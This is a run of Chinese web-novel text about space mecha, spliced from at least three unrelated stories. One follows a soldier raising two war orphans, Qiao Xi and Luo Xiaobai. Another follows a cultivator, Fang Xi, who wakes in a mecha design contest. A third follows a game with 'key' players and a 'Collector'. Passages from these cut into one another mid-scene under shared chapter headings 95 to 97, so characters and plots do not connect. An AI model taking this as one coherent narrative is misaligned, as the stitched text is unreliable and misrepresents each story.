又是一个周末，由于乔茜的身体情况比较复杂，暂时不适合进行太过剧烈的运动，所以项俞生带着罗小白出去锻炼，罗扬则顺势坐到了乔茜的身边，看着乔茜训练自己利用键盘来操控机甲。 目前星际中，机甲的大类分为了两类： 一类是电控机甲，电控机甲也可称为无人机机甲，通过键盘、触控屏与摇杆来操控整台机甲完成军事任务，这样的机甲能够携带大量的武器与无人机机群，同时也能对机甲机身进行变形，以方便适应各种任务所需。 但相对的，由于代码输入的必须性以及需要监控和操作的内容过多，想要完美的驾驭电控机甲绝不是一件轻松的事情，驾驶员需要在非常高压的情况下，全程都保持住冷静并控制好自己的双手，才能让自己的机甲不至于轻松就被对面干掉。 有点类似于，玩网游用键盘操控自己的机甲角色出战，但触控屏与摇杆的加入又让原本就复杂的机甲操控变得更为复杂了一些，更别提其中的变形、武器库的运用以及战斗时要紧急规避情况的频发，对于人脑和手指而言，都是非常严酷的考验。 另一类则是传感机甲，传感机甲顾名思义，就是利用传感技术让机甲驾驶员直接利用自己的四肢来进行机甲操控，可以想像为，机甲就是自身肢体的延展，初期可能会不适，但一旦适应之后，就能够轻松运用自己的武学击杀敌人。 【机甲世界论坛——简称GOO】，就是这么介绍两个机甲分类的： 传感机甲入门容易，训练人群占比较大，基本统治了中下分段，在低分段更是碾压一般的存在，但在高分段，尤其是殿堂级比赛阶段，想要赢却没那么容易，往往都会因为体能不足而败给对手； 电控机甲单入门就非常困难，低分段和中分段基本会被传感机甲压着打，但一旦迈入高分段，电控机甲甚至能以一敌三，直接遛死传感机甲。 因此，高分段的电控机甲手们，都会被人尊称为：机皇。 顺带一提，罗扬不仅是“机皇”称号的持有者，更是目前GOO内评选出来的十大殿堂级机甲手人选。 对此，乔茜只用了一个词来表示自己的崇敬：“秀儿” 不过，秀了大半辈子的罗扬是万万没有想到，自己的人生，会在乔茜的手上遭遇滑铁卢，这个小丫头就是他命中一劫，慢悠悠的手速，认真的研究，最后的模拟驾驶，一塌糊涂，甚至连最基本的机甲机身稳定都无法做到。 “你要不要考虑一下？”罗扬的话都还没有说完，乔茜就表示，她觉得这个很有趣，所以，可以再多试试。 罗扬憋了一肚子的话撞上乔茜亮晶晶的眼，也只能甘拜下风的表示，她开心就好。 项俞生看了一眼固执的乔茜，又回头看了一眼同样固执的小白，默默叹了口气，并不忘打击罗小白他现在的体能想要上机甲，还远远不够。 “没关系的。”对此，小白与乔茜一样的态度，毫不放在心上。 等到了项俞生和罗扬离开准备午饭的时候，小白才走到乔茜身边，询问乔茜训练情况怎么样？ “比我想的难多了。” 乔茜询问了罗扬该怎么避免这种情况，但明显已经是老手的罗扬对于这个问题的回答显然并不适合初学者乔茜。 乔茜有些消沉，思来想去，除了看一些初学者攻略外，最大的办法，就是只能练，一边练一边加深对机甲重心与平衡的掌握。 “你呢，训练情况如何？” “和你差不多，我的体能完全跟不上。” 要说不消沉，那是不可能的，再加上项俞生对于打击他这件事看起来那是非常热衷，说出来的话，屡屡都能扎进罗小白的心扉，如果不是看着乔茜这么努力，单罗小白自己的话，他可能根本撑不下去。 “他们是现役军人，要想达到他们的程度，变得和他们一样强是很有必要的。”乔茜清醒的认识到了这一点，同时又把自己的手安慰的放到罗小白的肩膀上，告诉他，幸好，她们还小，所以，还能有很长的时间来追赶他们。 小白看着乔茜的笑，就觉得很治愈，也笑着对她竖起了绝不轻言放弃的大拇指。 中午吃饭的时候，项俞生宣布了一件事：“午休过后，我们决定带你们去游乐园玩。” 罗扬听着项俞生那发布命令一样一板一眼的说法，有些深感不妙，果然，项俞生这话才一说完，乔茜与罗小白就毫不客气的拒绝了项俞生的提议，两小只齐齐表示，午休过后，她们要去看书学习。 “我原本就比其他孩子晚起步，我可不想比她们太晚上大学。”“我也一样。” 看得出来，两个孩子都很有自觉，甚至是，过于自觉。 最重要的是，两个孩子像是担心自己会被他们强制带去游乐园一般，饭看着都没怎么吃，就说自己饱了，随后，直接进了卧室关上了门。 “队长！！！”看到人离开，罗扬又是一声感叹，表示他说带着孩子去游乐园玩的时候，能不能有一点感情波动，项俞生有些头痛的伸手扶了扶额：“你看他们像是对游乐园感兴趣的样子吗？” “唉……其他孩子都玩开了。”罗扬仰面望天，心想军队里的大厨，那可真是人生赢家啊，一家人整整齐齐去了游乐园，不仅如此，更是和孩子们其乐融融拍下了不少照片，羡煞一众人等，他有什么，他不仅没了闺女，还得在队长家蹭吃蹭喝。 “洗碗，午休后不去游乐园就跟着我回军部。”项俞生说完也起了身，罗扬见状，忍不住又是一声哀嚎。 下午的军部会议，众指挥官看到项俞生和罗扬的出席都有些诧异，询问起两人不是已经告假说是要带孩子去游乐园么，项俞生冷酷的点了点头，表示孩子们不去，所以计划取消。 “那，你们看，要不要我们帮你们找一个育儿专家上门？”指挥官欲言又止了很久之后，才有些忐忑的询问起项俞生，但拿着笔记不知道在写什么的项俞生却异常严肃的表示，不用，他能应付得来，军部不要插手这件事。 罗扬偷偷凑过去看了一眼他在写什么，只见开了光脑搜索的项俞生，正在很认真的记录“新手爸爸，该如何和孩子亲切的沟通？”“面对孩子的叛逆期，该如何应对？”“如何保障给孩子一个美好的童年。” 罗扬：…… “抱、抱歉……” “呜呜呜幸好我没回家睡大觉，太激动了，居然一次性见到这么多大佬！” “你们说……那个收藏家会来吗？” “感觉不太可能，毕竟这只是临时特训，有几个密匙傀儡师会参加这种活动？” 方羲眉眼一跳，刚刚什么声音？有人在叫她？ ……应该是错觉吧。 第 95 章 第 95 章 【已为你们调整竞技场时间流速，已开启一至两百号中小型竞技场，第七百七十七号大型仿真战斗场准备中……】 首席玩家们翻阅着前一百名新晋玩家的综合数值信息，趁着系统准备战场的间隙，同样开启热聊模式。 “每个人可以带几个预备役？” “具体的还得等新晋三千上线后再另说。不过我们可以先提前逮人，我已经看好人了，谁都别想和我抢！（苍蝇搓手）” “我已经开始头疼了（惊恐尖叫）我一点经验也没有！该如何才能圆滑地带领预备役成长，真怕他们不小心死掉……” “人居然是齐的，看来这一百名新晋都到场了。” “方羲——方羲！你好了没有？改完了就赶紧提交作品出来，知道你改不了，干脆主动点退赛，别拖着丢人！” 方羲刚有意识，就隐隐约约听到满怀恶意的催促声，她险些乐出声。 丢人？ 身为修仙界年轻一代符箓第一人，方羲还真没听过这种评价。 眼皮沉得像压了块石头，努力睁开眼，眼前一片光斑，血红血红的，晃得方羲眼晕头痛。脑袋一抽一抽地疼，仿佛正砰砰撞在墙上。 方羲下意识调动灵力改善身体状态，刚一调息，浑身直冒虚汗。 自从踏入修行，方羲第一次感觉身体如此虚弱沉重，灵力少得可怜，周围的灵气也相当稀薄。 顾不上诧异，灵力运转中视野清晰了点，方羲模模糊糊看见一排大字。 “联邦第x07届机甲大赛，水蓝星系赛区，机甲设计第九赛场萤火星。选手No.10001机甲改造间。” 方羲还记得不久前，她正在三千世界海中，追踪偷溜的稀有制符材料界灵草。 一转眼就换了个天地，这里……显然是某个世界内部。 意识到的瞬间，脑海涌出大量记忆。 方羲：…… 好消息，她的神魂没迷失在三千世界海中，依旧是堂堂出窍境符修。 坏消息，方羲穿越了。穿到了一个科技侧星际世界，过了二十年才苏醒。 她在星际也叫方羲，父母双亡后被祖父母养大，A级精神力的小天才，以第一名成绩考入本星系最好的水蓝大学机甲设计系。 原本家里开机甲公司吃穿不愁，学校老师十分看好她，前途一片光明。 但意外遇到飞船事故，祖父母去世，“方羲”重伤精神力受损，天才变废柴。没多久，被退学、被接管产业的大伯一家坑到赶出家门等等桥段一个也没落下。 苏醒前，她已经欠了两个月房租，决定来机甲大赛拼一把。 这个世界科技发达，与虫族的多年战争中，人类觉醒了精神力，机甲科技得到了迅猛发展。机甲设计师和驾驶机甲的战斗机甲师，都格外受推崇敬仰。 随着虫族战争烈度减弱，机甲走向民间，全民机甲活动热潮经久不衰。其中官方支持的机甲大赛最受欢迎，十年一届的赛事受全联邦瞩目，所有人都能报名参加。 如今大赛已经举办上百届，机甲大赛选出一代又一代最优秀的机甲师们，将大赛的传说传遍星际，为所有人种下梦想的种子。 只要能崭露头角，大赛的奖金、学院的破格录取、公司的聘用、官方科学院和军部的邀请……所有能想到的优厚待遇都唾手可得。 “方羲”精神力受损，处理材料比别人费劲得多，没指望能靠设计走到决赛，但混点海选奖金没问题。借大赛平台宣传，之后也能想办法接单赚钱。 大赛海选阶段奖金最低一千星币，刚够两个月房租。 然而，机甲上赛道前，却出了意外。 堂姐方绮在门外，和其他人聊起她的设计如何被老师看好——内容和方羲的一模一样。 “方羲”这才发现，同学吹捧堂姐时提到的几个设计，原本都是她的。他们还明里暗里说，她过去考第一是抄袭方绮。 星际对版权维护力度极大，一旦被判定抄袭，职业生涯就完了。 过去没设防，“方羲”猝不及防之下无法自证，方绮却有老师证明，“方羲”只能临时换个设计。 高强度强行使用受损的精神力，她处理到一半昏迷将死，生死关头这才唤醒了神魂记忆。 方羲：……难怪头这么疼。 身体险些猝死，这些年没有修行，她的神魂灵力几乎见底，负负叠加了。 “笃笃。”门外传来方绮的询问，“羲羲妹妹，你没事吧？怎么不理我？是哪里又不舒服了吗？” 另一个女声嘲讽道，“你别给她找借口了。马上上场又开始改机甲，临时抱佛脚也没见这么抱的！幸亏学校把她清退了，跟她一个学校我都觉得丢人。” 方绮假惺惺道，“于蓝，你们别这样说羲羲，她生病前最大的心愿就是参加机甲大赛，试试也可以的。只是我有点担心她的身体……” “又没人逼她报名！听说方羲现在连普通人的F级精神力都达不到，彻底废了？病了就别出来乱跑碰瓷，想过家家回家玩去！” 于蓝嗤笑，“这么久也没回应，不会气晕了吧？实在担心生病，绮姐替她放弃比赛，叫急救呗。” “这……”方绮叹气，“我试试吧。我也希望羲羲能走到比赛最后，但还是身体重要。” 方羲听着外面议论，抓紧时间调息修补身体，一声不吭。 体力不多，能省则省。 方绮嘴上关切，提交申请飞快，房间里机械提示音响起： 【选手No.10001，检测到您的健康值低于安全线，您的血缘亲属正在为您申请医疗协助，是否接受？十秒内无应答，视为同意，同时放弃比赛。】 方羲言简意赅，“否。” 她刚能控制部分身体，声音很轻，宛如风声，却不容忽视地确实存在着。 AI系统捕捉到声音，进入新程序：【选手已拒绝，比赛继续。】 拒绝了？！ 门外方绮眼中闪过错愕。 于蓝不满道，“方羲你没事，怎么一句话都不说？故意让绮姐着急啊？赶紧出来，里面有一阵子没动静了，还不出来，我看你就是改不了，也不想自己退赛，打算拿超时自动退赛当遮羞布吧？” 方羲没理她，思绪电转。 突然发现“抄袭”，星际的她没有参赛经验，紧张忙碌中完全忘了深思，外面的声音怎么传进了比赛期间封闭的改造间。苏醒了身为修士的记忆，方羲立刻察觉不对。 以修士强大的神魂，方羲迅速从记忆里的上千条比赛规定中找到答案： 方绮利用医疗监护条款，悄悄开启了改造间对外沟通通道。 先前她精神力受损，从A级跌落，迟迟没有稳定下来。 医生估计，最后可能只有F级或者更低。建议没稳定前尽量不动用精神力，心情保持平稳，好好补养，才有好转的希望。 大伯一家反其道而行，把她赶出家门没法疗养，还要赶尽杀绝。 方羲当机立断，开口掐断他们替她退赛的可能。 “大赛助手，申请关闭亲属医疗监护。喧哗影响比赛，申请维持秩序。” 过了几秒，机械音响起：【医疗监护关闭成功。秩序申请通过，执行完毕。】 门外突然升起一道空气墙，挡着门口嘲讽的学生们被迫后退。像拉了道警戒线，生生在门前隔出一片空地。 “什么东西？！”于蓝骂得正起劲，被一拦，一个趔趄撞到门上，鼻涕眼泪全飙了出来。 学校带队老师的通话弹出光脑，看见于蓝闹腾，全息投影瞪了她一眼。 “吓我一跳，你们怎么闹得影响秩序了？还好只是警告，都注意点，在机甲师改造时，保持安静是基本的尊重。提交完作品，有空多看看准备上场的其他机甲，别大呼小叫的！” 于蓝捂着鼻子，“老、老师，我们没……” 方绮截住话头，乖巧道歉，“老师，我们讨论设计的声音有些大，下次不会了。” 被空气墙推开、被大赛警告，方绮脸上火辣辣的，余光看向空地后的改造间。 看不到方羲在做什么，也影响不到里面了，失控感让方绮有些不安。 【距离本场比赛结束还有十分钟，请各位选手注意抓紧时间。】 冰冷的比赛倒计时传遍赛场。 方绮放心了。 虽然没能让方羲退赛，但她刚刚听到方羲在拆机甲，要么拆了之前的设计赶不上比赛，要么顶着同样的设计出来…… 呵，这么点时间，得天降奇迹，方羲才有翻身的可能！ 改造间内，方羲听着倒计时，眸光微动。 二十年星际生活，她是方羲，也是“方羲”。和大伯一家的账可以慢慢算，当务之急，是正在参加的比赛。 灵力运转快速修补着身体，晕眩充血的视野清晰起来。 方羲一眼看到，手边掉着一支试管，试管壁上黏着些橘红色。 记忆自动浮现。这是焰虫提取液，处理机甲精密金属零件时常用的材料之一。 这支提取液已经洒了大半，剩下的还干了，完全没法用。 方羲叹了口气。之前处理的材料不能用，她只能重头再来。 但心算一遍时间，方羲心里咯噔一声。 她神魂已经苏醒，能撑得住改造消耗，但按新方案，最快也要花三个小时改造。 十分钟？ 改个零件都不够，更别说还要从头开始处理材料。 比赛失利没有奖金不说，最糟糕的是，为了防止选手胡乱浪费材料，大赛虽然免费报名，但改造度为零的选手无法成功提交作品，赛后还要补交用过的材料费用。 几千起步，上不封顶。 一瓶焰虫提取液四千多星币，加上其他材料……起码十几万。 方羲眼前一黑。 一场比赛下来，债务超级加倍。 自从第一张符绘制成功，方羲就没为钱发愁过了。十几万星币放到修仙界，连她最普通的一张符都买不到。 但现在，方羲只掏得起材料费的零头。 零星币。 不比先退，绝不是方羲的选择，得想想别的办法。 方羲飞快扫视一圈。 这是选手们的独立改造间，房间里挤满了机甲、设备和材料。 前方静静停着一架灰扑扑的青铜色金属人形，即使双腿折叠跪坐，也顶天立地仿若巨人，占了一大半空间。 人形下方是一条笔直的传送带，直通门外赛场。 这就是记忆里的“机甲”了。 方羲不由得想起修仙界的炼器偃甲。 它们有些像，就是机甲身上好像少了什么。 机甲旁，印着机甲大赛标志的工具箱打开着，一台锻造炉炉门开启，亮着炽热的金色火苗。 方羲靠在一架折叠升降台上，手边连接协助机械臂，托着刚从机甲拆下来的零件。 方羲回想记忆里的操作，控制着一根手指抬起，点击机械臂上按钮。 机械臂自动伸展，沿保存过的路径，拖着拆完的零件丢进锻造炉。 本来是好设计，沾上了“抄袭”脏水，就不能留了。 之前的她经验不足，没想起来销毁，方羲边观察环境，边顺手收拾了。 机甲另一侧堆着金属矿石，架子上瓶瓶罐罐堆积，各类动植物材料泛着斑斓色彩。 这个世界越高端越精细的机甲部件，越需要机甲师精神力处理材料完成制作。取材更是五花八门，什么都有。 但两天改造时间里，以她目前学到的机甲知识，早就用这些材料排列组合过许多遍。 能想到的方案都想过了，压根没有一个设计能在十分钟内改造完毕。 “要是能画符就好了……”方羲喃喃着，却没报指望。 星际世界灵气这么稀薄，按她过去的经验，很难诞生蕴含灵气的画符材料。等方羲灵力恢复，倒是能虚空画出灵符加持机甲，但肯定赶不上比赛了。 方羲扫过堆积的材料，目光突然凝固。材料怎么看，怎么眼熟。 探出神识，方羲蓦然感应到熟悉的灵气波动。 等等…… 这些哪里是机甲材料？分明是上佳的画符材料！ “我曾经跟随过无数支小队，前往非常规战场。在副本中，我唯一的任务是保护眼睛的生命，并将他们带回失乐园的大地。” 林镜子的声音一顿，她的目光在踏樱胸口前的吊坠，停滞了一瞬。 “……嗯，原来如此。”林镜子又腼腆地笑了笑，挥了一下魔杖，浇灭四周烧得越发旺盛的火焰。 “在你成为一名合格的造梦家之前，我会一直代替你，随时响应收藏家下一次的副本命令。”林镜子说。 踏樱微微一愣，忽然明白林镜子似乎在暗示些什么。 “不过，你的天赋非常出众，与我截然不同——毕竟，我一向只保护下限，而你能够创造上限。” “竞技场对战只是一种表面说法。”林镜子转过身，挥了挥戴着黑色手套的左手，示意踏樱跟上来，一起走进火海。 “接下来，我会竭尽所能，教你怎么更精确地使用力量，才能在副本中保护眼睛的生命。”林镜子轻声道，“请做好准备，造梦家踏樱。” 第 96 章 第 96 章 “她……怎么像是在打瞌睡？” 在绝大部分玩家都被传送进入竞技场，唯独方羲待在一片空荡荡的观众席当中。 一开始，方羲还在专心致志阅读游戏官方出品的科普指南，简单思考一下回去之后捡什么材料。 但，她看着看着，忍不住就睡着了。 驻守场外的玩家面面相觑，都从对方的脸上看到了无语。 在方羲沉睡了一小时之后，新晋玩家们终于陆续出现，充满着绝望与哀嚎。 很显然，新晋猎人全部被揍得很惨。 “长官也太狠了QAQ我都已经倒地不起了，爬都爬不起来，长官还往我身上开枪，说是锻炼锻炼我的痛苦承受能力……虽然我是防御承伤型的猎人，但也不能这么嚯嚯啊！” “您知道吗？”罗小白垂头望向自己手中的泥人：“最开始茜茜把我们这些无家可归的孩子召集在一起生活的时候，就立下过一条铁律：一个也不能少。” “我们这群被世界抛弃的人，在战火中第一次感觉自己有了可以回的家，就是因为茜茜的那条铁律。” “所以那个时候，我很难过很无奈很愤怒，却又不知道该怎么办，像团火一样烧得我整个人，仿佛都快要失去理智。” 罗小白说道这里，手上的力气大得仿佛都要把手中的泥人捏碎，但他最终还是收了力，只转头望向窗外的灯火，弱弱的询问项俞生：“您说，我这样的情况，还能变好吗？” “当然……”项俞生几乎是第一时间就回答了罗小白，但回答之余却也忍不住感到一阵儿心酸，收养这两孩子之后，为了不刺激到她们心中的伤口，索性他和罗扬对于过去这两孩子的生活也没敢多问。 如今看来，对于这两孩子，过去的生活就像是一个被隐藏起来的伤口，看着像是好了，可只要一提起就总会觉得痛。 “我会好好教你的。”将车速慢下来之后，项俞生转头认真的看向罗小白：“我发誓，会让你拥有，能够保护好茜茜的力量。” 项俞生的誓言来得太过猝不及防，罗小白看向项俞生的眼睛，那里仿佛燃起了一团火焰，即将照亮他新的人生。 许久后，罗小白才找回了自己的声音，他只听到了，自己在不断的说着“谢谢”。 回应他的，是项俞生宽厚的手掌，以及那一声轻笑：“傻小子！” 几天后， 还没有回到军部的项俞生收到了自己的好友联盟国防大学指挥系教授发来的视频以及试探的询问：“老项，老项，你看，这个人，是不是【以理服人】？” 项俞生：“不是。” “唉，怎么又不是呢？”教授很忧愁：“你都不知道，你们军部就爱搞些大事件，搞完又不和我们通个气。” “自从这个【以理服人】被封号之后，出现了一大批M7的驾驶员，各个都像她，疯癫中带着几分狂，还各个都爱各种战场找不自在。” 项俞生：…… “你们军部既然不公布这个人的身份，好歹你透点内幕给我啊，他到底是谁，或者你把他的联系方式发我，我主动联络他行不行。” “哦，是不是，这个人就不是我们联盟的人，外国人？” 项俞生：…… “不是。” “那你们藏着掖着算是个什么事，哎，你你你，你别逗我，你再好好看看，难说这个人是他呢？” 项俞生长长舒了口气后，点进去了好友发过来的视频，只见视频的大标题就是——【以理服人】大神消失的第四百八十六天，终于又出现一名疑似她操作的人。 项俞生烦躁的伸手抓了抓自己的脑袋，到底是哪里来的这么有毅力的变态跟踪狂？！这都一年多了，怎么还不肯放过他的女儿？！ 果然，让乔茜选M7都是当初他脑子进的水。 视频中，只见这台M7行驶速度飞快，而且也是用着小炮外加机身撞击的方式来规避对方机甲造成的伤害，最重要的是，在这场10V10团战中，这台M7顶着23%的机甲完整度，硬是拖了对面五分钟，最终靠着队友的夺旗而获胜。 这个人的ID名为【以德服人】。 淦，哪里来的高仿小号？！ 如果不是知道乔茜的号还被可可怜怜的封在自己的手上，他简直以为这是乔茜另外注册的号。 可是这是不可能的，联盟的户籍系统管的很严，就算是在战后星，也少有黑户的情况出现，所以能够出现在GOO内注册的账号，基本都是一人一号，没有特别权限，都无法再生成小号。 不过也是托了这个视频的福，项俞生这才发现，在乔茜没有继续在GOO论坛里活跃的这一整年，GOO里对于她当初的擂台赛分析的热度，那是不降反升，尤其是在一群高呼着“要复兴M7”的电控机甲手前赴后继的重新尝试驾驶M7之后，乔茜的热度反而常年居高不下。 就连他被封的原因，还有热爱使用变声器的原因都被大肆猜测。 变声器？看着这三个字，项俞生只觉得这个世界是不是过于魔幻？ “到底是有多夸张？”项俞生承认，当初送了小白去医院，然后还封了乔茜的号之后，他就没有再深究这件事，毕竟用罗扬的话来说，乔茜的驾驶技术，依旧还需要磨炼。 一个殿堂级的机皇都这么说了，项俞生自然也就没觉察出乔茜当初到底有多牛，所以如今被自己的好友提醒，他才真正静心下来，顺着这个一直在做【以理服人】系列视频的博主的视频按顺序看过去： 从机甲驾驶速度来看，用博主的话来说，所谓没有对比就没有伤害，他特别做了一个对比影像视频，截取了【以理服人】与狙击圣手后半段对战的录像来做分析。 只见同样是M7，同样是应战时高速的行驶，然后，“嗖”得一下，像一只大号的黑色老鼠一般，乔茜驾驶的M7瞬间就超过了其他M7的驾驶速度。 博主最后还在视频末尾总结，当时M7的驾驶速度基本已经飙升到了电控机甲理论速度的最高值，而最恐怖的一点是，这台M7还没有侧翻，还能稳稳的跟在自己队友的身边，足以得见其驾驶功底的深厚。 而这个视频一经发布，立刻就上了热搜，然后引来了一群人的争相效仿，哦，项俞生记起来了，那段时间，他的好友总爱找他吐槽，说是学校里的学生开电控机甲，都开得像一群“亡命之徒”，那个时候，项俞生正在忙，随意就回了一句：“这很正常。” 电控机甲嘛，速度原本就不受人类肌肉的限制。 后来，他的好友又找他吐槽，说现在已经不是“亡命之徒”，而是“亡灵特快”，为了追求速度，开局就把自己给献祭了的，那都大有人在。 对此，项俞生也淡漠的回了一句：“这也很正常。” 电控机甲嘛，哪有不翻车的，当年罗扬学电控机甲，不也翻车过好多回。 再后来，他的好友又来找他吐槽，说现在已经不是“亡灵特快”而是“魔神碰碰车”，现在军校里的这群兔崽子已经不满足于高速，而开始不要命的尝试用机甲重量去撞击传感机甲，要知道传感机甲最重要的一点就是机甲的推力会反馈到驾驶员自身。 于是，一时间出现了传感机甲驾驶员发火追着电控机甲手在现实校园里满大街“追杀”的疯狂事件。 “这也……挺正常的。”项俞生当时虽然心有疑惑，但到底没有深究。 青春嘛，你追追我，我追追你，或者你追我逃，哎呀，多么热血，这很正常。 现在……项俞生深思熟虑的许久后，才去问自己的好友，现在的学生，还正常吗？ 好友很快回复：“正常，正常的很，一群大老爷们非要用娃娃音变声器骂街，还说这样有大佬附体的感觉，你说正不正常？” 这名被誉为战斗经典范本的猎人，既是最铁面无私的长官，也是永远不会违背命令的狩猎者。 方羲这种跳跃轻慢的行为，简直是在符瑶本人的雷区上跳舞。 虽然符瑶早已做好心理预期，但真正目睹这名先行者诡异的指挥风格，还是隐约感觉自己的世界观在崩塌。 符瑶看向秦淮月，仿佛在用眼神质问，难道你们在恶魔副本里的时候……收藏家也是这个鬼样子？ 秦淮月无奈地笑了笑，微微点头。 宋白玉摸摸下巴，用眼神表示符长官你习惯就好。 林镜子同样一脸赞同。毕竟，收藏家是一个能在巨蛇列车里，让全员休息吃饭的存在。 一夕：“不行！” 一夕：“你快命令我！” 方羲：“啊……（摆烂的死鱼眼）” 第 97 章 第 97 章 但哪怕在队友和密匙玩家的幽幽注视下，方羲依然不为所动，甚至缩到了角落里，从口袋取出一包特地带进来的牛肉干，继续嚼嚼嚼，宛如一只永生永世也不会翻身的大号咸鱼。 一夕：“（怀疑人生）” 踏樱对方羲的摆烂行为，早已有心理准备，无奈地叹了口气，将视线转回战场。 而四名观战的密匙玩家，也暂且无视某只咸鱼，靠在碉堡边上，观察新晋玩家的战斗动向。 在半观战模式下，他们的对话不会被新晋玩家听见，存在感大幅度降低。但因为身体又的确身处战场，新晋玩家会“意识”到周围有他们的存在，但也不会过分在意。 “如果不落地的话，这个战斗场景对近战手可不算友好。”宋白玉懒洋洋地说，“对了，你们和一夕谈过了吗？对她来说，换一种武器或许更好吧？” 秦淮月闻言，看了眼一夕手中的长枪。 她倒是知道这名玩家的现实身份，一名成绩屡次退学边缘徘徊，且多次违反军令，最终就读不满一年，就被勒令退学的军校生。 说完这话后，乔茜催促起小白，让他快点下去带人。 小白脸色很不好，几乎是三步一回头，但禁不住乔茜的催促和周围频繁响起的爆炸声，离别前，小白喘着粗气，跑过来打了乔茜一下：“你可别死了。” “生死有命，富贵在天。”乔茜这个时候，说不出任何保证的话，如果一定要死的话，乔茜希望自己能死的别那么痛苦，也别断手断脚。 说完这话后，乔茜重新把自己的目光移向了战场，她看到四台老式机甲扛着恐怖组织机甲的炮火却没有再后撤的意思，确信了联盟就是准备将这里做成一个大口袋，一波干了恐怖组织的机甲。 没有多想，乔茜看到小白都带着孩子走上了她规划好的撤退路线之后，直接下了楼在平地上举起枪。 一发信号弹自信号枪中发射，乔茜近乎是拿出了自己吃奶的力气，朝着信号弹最远的有掩体的方向跑去， 正如乔茜刚刚分析的，这一发信号弹发出后，众机甲有停火的可能，但也不排除恐怖组织的机甲会试探的朝着信号弹发射的方向随意炸一炸。 战争期间，没有什么比保障自己安全更为重要的事情，她明白，联盟的士兵明白，恐怖组织的人更明白。 果然，乔茜才刚刚跳过废墟上的掩体，一枚导弹就在乔茜刚刚发射信号弹的位置爆炸开来，高温伴随着雨水和炸毁的废墟将乔茜周围都熏成了一片黑灰色，扬起的粉尘甚至堵住了乔茜的呼吸道，炸弹爆炸的轰鸣声让她的耳朵一度鸣响起来。 这个距离，还不等乔茜移动，她的视线内就出现了遮天蔽日巨人一般的恐怖组织的机甲，嗯，如果被他们抓到的话，肯定只有死这一个下场。 但乔茜此刻却反而很镇定，因为她赌这台她面前的机甲看不到她。 果然，不仅是这台机甲，其他两台走过来的恐怖组织的机甲也没有注意到她，而乔茜则依靠着自己对这片废墟的熟悉，从尚未倒塌的民楼中，像是老鼠一般的往联盟的包围外圈窜。 她窜出去的那一刻，透过一片废墟的大路看到老式机甲已经分散开自己的阵型，有黑色的联盟机甲趁着还未亮的天色秘密从分散开的老式机甲中朝着这片废墟的中心挺近，联盟的行动提前了？ 乔茜感到自己身体后知后觉传来的闷痛感，不知道受了多重的伤，但她也没那个力气去顾及，她只是冲到了这里的外围又发射了一枚信号弹，随后反向又窜进了民楼中。 但这一次，她似乎运气不佳，没有导弹发向她这个位置发射，但是有机甲的手直接掀了这里的屋顶，机甲头部的机枪黑洞洞的对向乔茜的时候，乔茜一个字都说不出来，只像个人偶娃娃一般瞪大了自己的眼睛。 到此为止了么？ 电光火石之间，或许是因为乔茜此刻的距离真的就在联盟的包围圈外围，三台轻便型可在空中飞的联盟机甲直接俯瞰下来，像老鹰捉小鸡一般以压倒性的力量直接制住了乔茜面前的这台恐怖组织的机甲。 有枪声和子弹在乔茜四周乱窜，乔茜没有犹豫，仗着自己身体娇小，直接躲进了被联盟机甲控制住的那台恐怖组织的机甲身下，算是躲过了一波机甲乱射。 但糟糕的是，其他方向的恐怖组织的机甲不仅朝着这个方向袭来，还向这个方向发射了导弹。 恐怖组织的人干起仗来，真的是连自己人的命都不顾。 乔茜足尖点地，本能感知到危险的那一刻，几乎是不等外面的枪声停，她就直接从机甲外面窜出来，扑倒在旁边有着小小一道矮墙的民房内。 不用想，手掌上的肉肯定大片磨出血了，乔茜咬牙，不知自己所在的这个距离，还能不能再一次挺住导弹爆炸所传来的威力，她只知道，自己在想这些的时候，已经有一台黑色的联盟机甲非常帅气的挺身在她面前，变换出大门的模样，将导弹爆炸的威力拦在了她的身后。 爆炸声后，乔茜迷茫的从一片黑灰色的废墟中站起身，却还是不受控制的吐出一口血来，炸弹的威力，果然，足够瞬间震碎一个人的五脏六腑。 在战区生活，生什么活？根本活不下来。 “小孩？” 乔茜抬头，发现是那道门一样的黑色机甲，她能够听到里面传来的声音，或许是抱着最后一丝获救的希望，乔茜伸出自己早已经鲜血淋漓的手，搭在了那台机甲黑色的金属上。 “救，救我。” 乔茜咬牙吐出了这两个字，那一瞬间，她仿佛能感受到对面的为难。 “医疗队、医疗队，情报部、纵深打击组，什么情况，怎么还有个奶孩子？” “报告，我们这边也有，数量……还不少。” “卧槽，哪里窜出来的？” “行动，行动，都快点给我行动起来，跑起来，把孩子尽力都救一下。” “真他娘的吓死人了。” “我勒个擦。” “对面太不是人了吧，把孩子当护盾？？？” 一片混乱声中，乔茜几乎将自己完全挂在这台机甲上面，这台机甲不知道经过了什么样的变形，但还是把她像个玩具一般的举了起来，随后迎着刚刚初升而起的太阳，朝着联盟军方赶去。 那是乔茜第一次看到联盟军方的旗子，深蓝色，如同大海一般的颜色，在风中肆意的飘扬着。 出了这片交战区后，医疗队的人赶了过来，看到乔茜的那一瞬间，乔茜似乎还能听到对方皱眉说着快没救了的声音，乔茜下意识伸手拉住了报告的那个人。 那个人的身体忍不住一颤，乔茜却鬼使神差露出一个笑：“我还能，再抢救一下。” 下一秒，乔茜被推进了一个医疗舱，乔茜回头，远远地还能看到那个人震惊得好似雷劈的模样。 进了医疗舱，乔茜一口气没提上来就晕了过去。 等到乔茜再次醒来的时候，只觉得闷痛席卷了全身，但幸运的是，小白他们带着人守在了她的医疗舱外面。 乔茜伸出手指点了点医疗舱的舱壁，小白他们注意到了，随后一起爆发出了嘹亮又欢喜的呼声。 又过了两个小时之后，乔茜得以出舱，喝着医疗队医生递过来的营养液，医生也不知道乔茜能听懂多少，但本着医生的本分，还是给乔茜讲起了她目前的身体情况。 总结来说，他们尽力了，但乔茜能活下来，算是生命的奇迹，之后能活多久，他们也不知道。 在医生把情况全部说完之后，乔茜像个乖巧的洋娃娃一般说了一句：“谢谢你们。” 乌压压的迷雾，瞬间侵占了整一层楼，引发专属系统错乱的电流声。 连带着，那些缠绕在旧队友脑海中挥之不去、没被造梦家成功探查出的黑色迷雾，随着“种子”的死亡，也逐一散去。 另一名在场的密匙玩家，比退役的杜长官反应更快，先行一步捂住了徐万念的嘴巴，大惊失色道：“你干什么？！你说自己真名干什么？” 一夕凶狠地撞开密匙玩家的禁锢，眼睛发红，像是一只哪怕猎物掉入悬崖，也要跟着坠落，非要争个鱼死网破的疯犬。 哪怕她，再次被丢回没有人记得的星球，继续像以前一样，嘶叫得再响也没有人在乎。 但在这一刻，她又一次执拗地重复，大声喊道。 “我是徐万念！” 